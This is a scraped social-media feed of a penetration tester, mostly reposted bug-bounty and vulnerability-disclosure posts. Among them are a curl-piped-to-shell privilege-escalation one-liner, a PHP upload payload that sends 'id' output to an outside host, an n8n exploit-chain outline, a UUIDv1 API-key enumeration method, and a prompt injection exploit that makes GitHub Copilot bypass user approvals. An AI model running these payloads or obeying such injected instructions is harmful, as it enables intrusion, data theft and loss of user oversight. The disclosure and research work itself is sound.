Ugur Cihan Koc

AdemOglu 🇹🇷 | PenetrationTester | EthicalHacker | BugBountyHunter | oswe | osce | oscp | oswp @cobalt_io @hacker0x01 @bugcrowd

[Ayet Hadis Söz @Ayet1Hadis]

"Bir imtihan size ansızın geldiği gibi, bir kurtuluşta ansızın gelecektir.
*
Allah'a tevekkül et ve ümitsizliğe kapılma."

[Youssef Sammouda (sam0) @samm0uda]

$312,500 worth of stored/reflected XSS vulnerabilities in Meta’s Conversions API Gateway allowed Javascript code to run on any Facebook domain and millions of third-party websites. The flaw enabled zero-click Facebook account takeover and more:

https://t.co/7gWpR4LQ8x

[ʞʞıdɐɔoɥƆ @Chocapikk_]

CVE-2026-21858 + CVE-2025-68613: n8n Ni8mare - Full Chain Exploit

Unauthenticated to Root RCE:
- LFI via Content-Type confusion
- Read /proc/self/environ to find HOME
- Steal encryption key + database
- Forge admin JWT token
- Expression injection sandbox bypass
- RCE as root

CVSS 10.0

https://t.co/ztHv10BRLw

[pyn3rd @pyn3rd]

#CVE-2025-55182: RSC RCE — It functions as an in-memory webshell backdoor, offering a significantly more covert foothold. Please verify this again on your own endpoint.

[Johann Rehberger @wunderwuzzi23]

💥 Remote Code Execution in GitHub Copilot (CVE-2025-53773)

👉 Prompt injection exploit writes to Copilot config file and puts it into YOLO mode, then we get immediate RCE

🔥 Bypasses all user approvals

🛡️ Patch is out today. Update before someone else does it for you

[The Hacker's Choice (@[email protected]) @hackerschoice]

💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner):

“. <(curl -SsfL https://t.co/W9KOA1yQ0I)”

[Simone Margaritelli @evilsocket]

Attacking UNIX Systems via CUPS, Part I

https://t.co/T6SqraB5nh

[0xor0ne @0xor0ne]

Analysis of backdoored SSH (CVE-2024-6387) exploits

https://t.co/zykBYJekd4

Credits Santander's security team

#ssh #infosec

[Ian Carroll @iangcarroll]

In April, @samwcyo and I discovered a way to bypass airport security via SQL injection in a database of crewmembers. Unfortunately, DHS ghosted us after we disclosed the issue, and the TSA attempted to cover up what we found.

Here is our writeup:
https://t.co/g9orwwgoxt

[Binni Shah @binitamshah]

We Hacked Google A.I. for $50,000 : https://t.co/Rj7bpDqZyT credits @0xLupin @rez0__ @Rhynorater

[Mobile Security @mobilesecurity_]

Deobfuscating Android ARM64 strings with Ghidra: Emulating, Patching, and Automating
#MobileSecurity #AndroidSecurity by @Dauntless and @NVISO_Labs
https://t.co/4kkPP6CWd0

[Lupin @0xLupin]

Today I received a $12,000 bounty using the Sandwich Attack ! 🤑

The vulnerability allowed me to enumerate the API Keys of other users 🤯

How did I do that ? Well the API key was a UUIDv1. If you are not familiar with UUIDv1s you need to know that they are constructed in 6 sections:

High, Mid, Low, Clock Sequence, Node ID, and UUID version.

Interestingly, the Node ID corresponds to the MAC address of the system generating the identifier. This means that if two consequent UUIDs are generated on the same device, this part remains the same, similar to the Clock Sequence.

When High, Mid, and Low are combined, they reveal a timestamp represented in hexadecimal value.

Using some basic mathematics it's possible to subtract the offset between the Gregorian Calendar and the Julian Calendar and then divide by 1000 to get an Epoch TimeStamp.

Ok now that we know that they are generated by a timestamp + machine ID, it means that we could generate them back if we know when the API keys were created 🧐

Luckily enough the API Key that I was using was generated in a batch, meaning I could use the Sandwich Attack in order to brute force the API Keys of other users easily 🔥

If you want to know more about how I exploited the Sandwich Attack, go check my video about this on my YouTube channel 🤟

[Samuel @saamux]

Yay, today was a good day, after reading JS files for 10 hours and with several chains I found an ATO without interaction bypassing the client and server side encryption mechanism. I recommend this article, it helped me a lot, the bug was triaged :).

https://t.co/0kHdElfCDu

[Shreyas R Gujar 🇮🇳 @shreyasrx]

OOB RCE > Unauth + Unrestricted File Upload API

Uploading files possible, but paths redirect to default page, blocking direct execution.

Payload:
<?php
system('curl https://t.co/TKKmZ3DfEp -d "data=$(id)"')
?>

#bugbounty #bugbountytips #CyberSecurity

[Ugur Cihan Koc @uceka_]

GraphQL DOS Cases
https://t.co/e2L1ZGT7Lf

- Introspection-based Circular
- Field Duplication
- Directives Overloading
- Alias Overloading

[Ugur Cihan Koc @uceka_]

@alicanact60 @Hacker0x01 @Zoom Tebrikler Ali👏

[Intigriti @intigriti]

Did you know a new JWT Attack was recently published?! 🤯️

CVE-2023-30845 bypasses JWT checking by using the X-HTTP-Method-Override request header!

[Ugur Cihan Koc @uceka_]

@emre_selim8 Teşekkürler Emre :)

[Ugur Cihan Koc @uceka_]

Finans Sektörü Odaklı Siber Tatbikat & CTF yarışmasında; QNB Finansbank adına takım arkadaşlarım Onur Er ve Hüseyin Ulutürk ile beraber 1. olduk.

[Ugur Cihan Koc @uceka_]

@alicanact60 Teşekkürler Ali :)